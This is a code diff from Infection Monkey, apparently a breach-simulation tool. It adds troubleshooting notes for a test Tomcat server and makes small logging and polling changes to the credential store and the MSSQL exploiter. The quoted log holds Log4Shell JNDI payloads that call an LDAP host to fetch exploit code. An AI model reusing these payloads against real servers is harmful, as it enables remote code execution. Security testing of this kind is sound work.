diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 617106c4d..077ccfc59 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -915,7 +915,40 @@ Accessiable only through 3-45 Powershell using credentials reus Notes: - +The jvm's `java.security.egd` variable should be set to `/dev/urandom`, +otherwise the tomcat service can take a very long time to start. Set this by +editing `/usr/tomcat/bin/catalina.sh` and modifying the `JAVA_OPTS` vairable. +See https://jfrog.com/knowledge-base/tomcat-takes-forever-to-start-what-can-i-do/ +for more details. + +Tomcat sessions that carry over through a reset can cause significant delays +when the tomcat server starts. When the server starts, it attempts to download +the log4shell payload, but the server is no longer listening. This operation +appears to have a 2 minute timeout. You can see it by viewing +`/usr/tomcat/logs/localhost.log`: + +``` +2022-04-28 16:15:45,541 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Sending application start events +2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- ContextListener: contextInitialized() +2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- SessionListener: contextInitialized() +2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session E5B004FF35E1CBB44FA8A69AB024941D +2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:29573/dn=Exploit}' +2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session 0677AD75F804B1FD4E24AF7F3BFA9DD9 +2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:39466/dn=Exploit}' +2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filters +2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Set Character Encoding' +2022-04-28 16:20:07,477 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Compression Filter' +``` + +Notice the 2-minute gap between the timestamps after "loading attribute 'foo'". + +To resolve this, modify /usr/tomcat/conf/context.xml and uncomment the following +setting: + +``` + +``` + diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py index 27ead7d26..47f097dad 100644 --- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -11,7 +11,7 @@ from .i_credentials_store import ICredentialsStore logger = logging.getLogger(__name__) -CREDENTIALS_POLL_PERIOD_SEC = 30 +CREDENTIALS_POLL_PERIOD_SEC = 10 class AggregatingCredentialsStore(ICredentialsStore): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f6b44471a..c765c2de5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -242,7 +242,8 @@ class MSSQLExploiter(HostExploiter): self.report_login_attempt(True, user, password) cursor = conn.cursor() return cursor - except pymssql.OperationalError: + except pymssql.OperationalError as err: + logger.info(f"Connection to MSSQL failed: {err}") self.report_login_attempt(False, user, password) # Combo didn't work, hopping to the next one pass diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8d01b3b9d..e31c62cad 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -116,7 +116,8 @@ class InfectionMonkey: logger.info("Another instance of the monkey is already running") return - logger.info("Monkey is starting...") + logger.info("Agent is starting...") + logger.info(f"Agent GUID: {GUID}") self._add_default_server_to_config(self._opts.server) self._connect_to_island()